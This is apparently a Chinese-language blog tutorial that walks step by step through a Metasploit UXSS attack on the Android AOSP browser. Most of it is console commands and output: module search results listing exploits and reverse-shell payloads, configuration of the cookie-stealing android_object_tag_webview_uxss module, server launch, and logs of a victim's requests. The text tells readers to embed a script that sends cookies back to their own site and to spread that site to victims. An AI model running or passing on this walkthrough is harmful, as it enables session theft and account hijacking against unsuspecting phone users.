黑客攻击的方式思路是先搜集信息,定位漏洞,然后针对不同的漏洞采用不同的方式来黑掉你。下面用metasploit模拟一次跨站脚本攻击(黑掉自己的手机)。
1.搜集信息
msf > search android Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO auxiliary/gather/android_browser_new_tab_cookie_theft normal Android Browser "Open in New Tab" Cookie Theft auxiliary/gather/android_htmlfileprovider normal Android Content Provider File Disclosure auxiliary/gather/android_object_tag_webview_uxss 2014-10-04 normal Android Open Source Platform (AOSP) Browser UXSS auxiliary/gather/android_stock_browser_uxss normal Android Open Source Platform (AOSP) Browser UXSS auxiliary/scanner/sip/sipdroid_ext_enum normal SIPDroid Extension Grabber exploit/android/browser/samsung_knox_smdm_url 2014-11-12 normal Samsung Galaxy KNOX Android Browser RCE exploit/android/browser/webview_addjavascriptinterface 2012-12-21 normal Android Browser and WebView addJavascriptInterface Code Execution exploit/android/fileformat/adobe_reader_pdf_js_interface 2014-04-13 good Adobe Reader for Android addJavascriptInterface Exploit exploit/android/local/futex_requeue 2014-05-03 excellent Android 'Towelroot' Futex Requeue Kernel Exploit exploit/multi/handler manual Generic Payload Handler payload/android/meterpreter/reverse_http normal Android Meterpreter, Dalvik Reverse HTTP Stager payload/android/meterpreter/reverse_https normal Android Meterpreter, Dalvik Reverse HTTPS Stager payload/android/meterpreter/reverse_tcp normal Android Meterpreter, Dalvik Reverse TCP Stager payload/android/shell/reverse_http normal Command Shell, Dalvik Reverse HTTP Stager payload/android/shell/reverse_https normal Command Shell, Dalvik Reverse HTTPS Stager payload/android/shell/reverse_tcp normal Command Shell, Dalvik Reverse TCP Stager
可以看到安卓可以利用的漏洞有很多,在这里我选择了一个UXSS(通用跨站脚本攻击)的漏洞,通过搜索,可以看到漏洞的具体描述。
这个漏洞的大概意思是如果黑客成功,将从你的浏览器中获取到你页面的cookie。
2.接下来利用这个漏洞,并查看该模块的选项。
msf > use auxiliary/gather/android_object_tag_webview_uxss msf auxiliary(android_object_tag_webview_uxss) > show options Module options (auxiliary/gather/android_object_tag_webview_uxss): Name Current Setting Required Description ---- --------------- -------- ----------- CUSTOM_JS no A string of javascript to execute in the context of the target URLs. REMOTE_JS no A URL to inject into a script tag in the context of the target URLs. SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGET_URLS http://example.com yes The comma-separated list of URLs to steal. URIPATH no The URI to use for this exploit (default is random) Auxiliary action: Name Description ---- ----------- WebServer
由上图可以看到必填字段有SRVHOST/SRVPORT/TARGET_URLS。这里才是关键。在这一步里,你需要做的就是搭建自己的站点,以及把获取cookie并传回的脚本嵌入进去!
在这里我除了SRVHOST外其他选择默认值,只起演示作用。(后边我会给出一个具体的例子,看别人的XSS是怎么做的)
msf auxiliary(android_object_tag_webview_uxss) > set SRVHOST 192.168.1.106 SRVHOST => 192.168.1.106
3.假设你的脚本已经站点已经搞定,接下来输入“exploit”,服务启动后基本快要大功告成了。
msf auxiliary(android_object_tag_webview_uxss) > exploit [*] Auxiliary module execution completed msf auxiliary(android_object_tag_webview_uxss) > [*] Using URL: http://192.168.1.106:8080/ORvS7Li6X [*] Server started.
4.接下来,你需要想办法把你的站点扩散出去,然后坐享其成就行了。
[*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X' [*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ... [*] 192.168.1.105 android_object_tag_webview_uxss - Request 'GET /ORvS7Li6X' [*] 192.168.1.105 android_object_tag_webview_uxss - Sending initial HTML ...
后记:这篇博客里对脚本制作思路和过程并没有深入探讨,具体思路可以借鉴一下这篇文章。
